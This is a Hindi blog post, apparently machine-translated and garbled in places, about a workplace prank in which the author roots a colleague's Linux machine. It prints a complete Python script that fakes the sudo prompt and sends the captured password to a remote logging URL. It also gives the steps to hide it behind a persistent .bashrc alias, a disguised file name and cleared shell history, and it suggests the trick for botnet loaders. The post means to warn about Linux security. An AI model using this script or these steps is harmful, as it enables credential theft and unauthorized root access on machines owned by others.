लिनक्स - एक हैक की कहानी

नमस्ते दुनिया!
आज मैं आपके साथ एक शिक्षाप्रद कहानी साझा करना चाहता हूं कि कैसे एक दिन मैं किसी सहकर्मी के काम करने वाले कंप्यूटर पर रूट एक्सेस करने में कामयाब रहा और यह करना कितना सरल था।

प्रागितिहास

कार्य दिवस किसी भी औसत डेवलपर के साथ हमेशा की तरह बीत गया: मॉनिटर, कीबोर्ड, चाय, कुकीज़ ... सामान्य तौर पर, कुछ भी बकाया नहीं था, हमेशा की तरह। Xdebug में एप्लिकेशन के लंबे डिबगिंग से थकने पर, मैंने कम से कम अपने सिर (उस समय पहले से ही "पिग-आयरन") लाने के लिए कार्यालय छोड़ने और कुछ ताजी हवा में सांस लेने का फैसला किया।

कार्यस्थल पर लौटकर, मेरे पास काम करने के लिए अभी तक समय नहीं था, जब अचानक अगली मेज से एक सहकर्मी की व्यंग्यात्मक आवाज़ आई:

- देखिए, ऐसा लगता है कि आपकी ब्राउज़र प्रक्रिया आईडी XXXX है, है ना?

पीएस चलाकर -ए | grep ओपेरा, मैंने देखा कि पिड वास्तव में वह है जिसके बारे में सहकर्मी बात कर रहे थे।

"हाँ, और तो क्या?" - मैंने शांत स्वर में जवाब दिया।
"कुछ नहीं," एक सहयोगी ने कहा और अपने कंप्यूटर के कीबोर्ड पर "एंटर" दबाया। मेरी ब्राउज़र विंडो मेरी आंखों के सामने बंद हो गई।

मैंने तुरंत सिस्टम में प्रक्रियाओं की तलाश शुरू कर दी जो एक दूरस्थ शेल दे सकती है। यह एसएसएच नहीं था।
एक सहकर्मी ने संकेत दिया कि यह nc (netcat) था, जिसकी प्रक्रिया, निश्चित रूप से, तुरंत मार दी गई थी।
हम दोनों हँसे, इस मज़ेदार मामले पर चर्चा की, यह पता चला कि वास्तव में कोई हैकिंग नहीं थी और उस समय मेरे उपयोगकर्ता के तहत "एनसी" लॉन्च किया गया था जब मैं कार्यस्थल पर नहीं था। बस लुलज़ के लिए।
सामान्य रूप से मजाक एक सफलता थी, लेकिन अवचेतन रूप से मैंने फैसला किया कि इस व्यवसाय को छोड़ना इतना आसान नहीं था, यह एक चुनौती थी!

Myakotka

ठंड के मौसम में एक बार, नए साल से ठीक पहले, मैंने फैसला किया कि यह बदला लेने का समय था। लेकिन इस बार मैं पूरी तरह से कंप्यूटर तक पहुंच को जब्त करना चाहता था - रूट प्राप्त करें।

कार्यालय में नए साल की तैयारियों ने एक भारी उपद्रव और शोर पैदा किया। यह सबसे उपयुक्त क्षण था, क्योंकि घटना के बाद एक सहयोगी ने स्क्रीन को ब्लॉक करना शुरू कर दिया जब वह कार्यस्थल से दूर चला गया। मुझे पता था कि आज वह दिन है जब वह ताला बनाने की संभावना को भूल जाएगा।

अपने काम के समय में एक छोटी सी "खिड़की" का उपयोग करते हुए, मैंने हैकिंग के लिए एक कार्य योजना पर विचार करना शुरू किया। मुख्य समस्या जो किसी न किसी तरह से हल की जानी थी, निश्चित रूप से, सीधे रूट खाता प्राप्त करना, क्योंकि बाकी सब सिर्फ तकनीक का मामला है। यह कैसे करना है पर विचारों की एक सक्रिय खोज शुरू हुई।

मेरे सहयोगी के पास लिनक्स मिंट 14 "नादिया" था। कर्नेल संस्करण 3.5 है। यद्यपि कर्नेल इतना पुराना नहीं है, फिर भी मुफ्त पहुंच में एक कार्यशील स्थानीय शोषण को जल्दी से खोजने की संभावना शून्य के करीब है। अपाचे को छोड़कर सेवाओं में से, यह वास्तव में कुछ भी खर्च नहीं करता था, और उसने अपाचे को बाहरी उपयोग के लिए बंद कर दिया था।

विचार के बाद विचार फेंक दिया, यह अंत में मुझ पर dawned! लेकिन क्या होगा अगर आप सबसे सरल और सबसे आम bash उर्फ ​​की कोशिश करते हैं?
मेरी धारणा की जाँच करने का निर्णय लेने के बाद, मैं टर्मिनल (डेबियन स्क्वीज़) लॉन्च करता हूँ, एक टेस्ट-थ्रू फ़ाइल बनाता हूँ जिसमें "प्रिंट, हैलो!"

alias sudo="$HOME/temp.py" 

उसके बाद मैं टाइप करता हूं:

 sudo mc 

परिणाम:

 Hello, world! 

यहाँ यह है! सुरक्षा में बिल्कुल कानूनी "छेद"। ट्राइट, लेकिन प्रभावी।

और अब स्क्रिप्ट!

 #!/usr/bin/env python # ..      ,   PEP #        (   !) import os, sys, time, subprocess, getpass, urllib, base64 url = 'http://example.com/log.php?data=%s' user = getpass.getuser() #    sudo passwd = getpass.getpass("[sudo] password for %s: " % user) msg = user + ':' + passwd home = os.path.expanduser('~') script = sys.argv[0] #        with open(os.path.join(home, ".xsession-name"), "a+") as f: f.write(msg + "\n") #   -     gateway urllib.urlopen(url % base64.b64encode(msg)) #     -      bashrc with open(os.path.join(home, '.bashrc'), 'r+') as f: lines = f.readlines()[:-1] f.seek(0) f.writelines(lines) f.truncate() #       time.sleep(2) print "Sorry, try again" # !     sudo subprocess.call(['sudo'] + sys.argv[1:]) # ..    ,        os.system('pkill python & rm %s' % script) 

संक्षेप में: स्क्रिप्ट एक sudo पासवर्ड अनुरोध का अनुकरण करती है, पासवर्ड को स्वीकार करती है और इसे निर्दिष्ट सर्वर पर भेजती है, जहां जानकारी बस फ़ाइल में लिखी जाती है।

कार्यस्थल में एक सहकर्मी की अस्थायी अनुपस्थिति का लाभ उठाते हुए, मैं उसके कंप्यूटर पर गया और अपना "विशेष ऑपरेशन" शुरू किया:

1. bashrc में एक निरंतर उपनाम बनाएँ:

 echo 'alias sudo="'$HOME'/.xsession-lock"' >> $HOME/.bashrc 

2. ट्रिकी नाम .xsession-lock के साथ एक फाइल बनाएं, ताकि लिस्टिंग / होम / यूजर होने पर यह हड़ताली न हो और इसमें हमारी पायथन स्क्रिप्ट को सेव करें।
3. निष्पादित करने के अधिकारों को सेट करें .xsession-lock - chmod + x
4. साफ bash_history!

सबसे पहले, उनकी वापसी के बाद, एक सहयोगी, एक चाल की प्रतीक्षा कर रहा था, ध्यान से bash_history की जांच की, और कुछ भी ध्यान दिए बिना काम करना शुरू कर दिया।
कुछ समय बाद, मैंने एक दूरस्थ सर्वर पर लॉग फ़ाइल की जाँच करने का फैसला किया जो पासवर्ड सहेजता है, और यहाँ यह है, मेरे सपनों का फिश अकाउंट - रूट!
बेशक, सटीक होने के लिए, यह वास्तव में एक सहयोगी के कामकाजी उपयोगकर्ता का पासवर्ड है, जिसने मुझे रूट प्राप्त करने और सिस्टम में पैर जमाने का अवसर दिया।

बाद में, मैंने फिर से अपने सहयोगी को कार्यालय छोड़ने का इंतजार किया और इसे अपने कंप्यूटर पर जड़ दिया, लेकिन, दुर्भाग्य से, उसने गलत तरीके से समय की गणना की और छेदा गया! काश, मैं "अपराध" के दृश्य में सही पकड़े रंगे हाथ पकड़ा गया।

हम फिर से हँसे, "हैक" के विवरण पर चर्चा की, और फिर, एक साथ और पूरे कार्यालय के साथ नए साल का जश्न मनाया।
यहाँ इस तरह के एक नए साल की कहानी है

निष्कर्ष

इस तथ्य के प्रकाश में कि वाल्व ने लिनेक्स के तहत भाप जारी की, लिनक्स सिस्टम की ओर "हैम्स्टर्स" के बहिर्वाह की संभावना थी और, उसी समय, "काली टोपी" के सज्जन अपनी आंखों को लिनक्स में बदल देंगे।

इसलिए, मैं इस लेख को एक और अनुस्मारक बनना चाहूंगा कि "लोगों के डूबने का मोक्ष खुद को डूबने वाले लोगों का काम है।"
लिनक्स स्थापित करते समय, यह मत सोचो कि आपने डायपर पर रखा है। आपकी जानकारी की सुरक्षा की जिम्मेदारी अभी भी आपके पास है!

PS ऊपर वर्णित विधि अच्छी तरह से स्वचालित रूप में उपयोग की जा सकती है, उदाहरण के लिए, जब बॉटनेट बनाते हैं। इस सिद्धांत के अनुसार, एक बूटलोडर बनाना काफी संभव है जो झूठ बोलता है और उपयोगकर्ता के लिए एक पासवर्ड दर्ज करने की प्रतीक्षा करता है, चाहे वह सूडो या गस्कूडो हो, और उसके बाद यह कंप्यूटर को "ज़ोंबी मशीन" में बदल देगा।
इसके अलावा, लोकप्रिय वितरण ऐसी डिफ़ॉल्ट सेटिंग्स के साथ आते हैं जो आपको इस लेख से विधि क्रैंक करने की अनुमति देते हैं।
मुझे उम्मीद है कि जल्द ही सुरक्षा * निक्स सिस्टम की दुनिया में, कुछ भी नहीं बदलेगा और कुछ लिन'लकर्स और अन्य बकवास दिखाई देने लगेंगे।

पीपीएस हैलो यानोवस्की !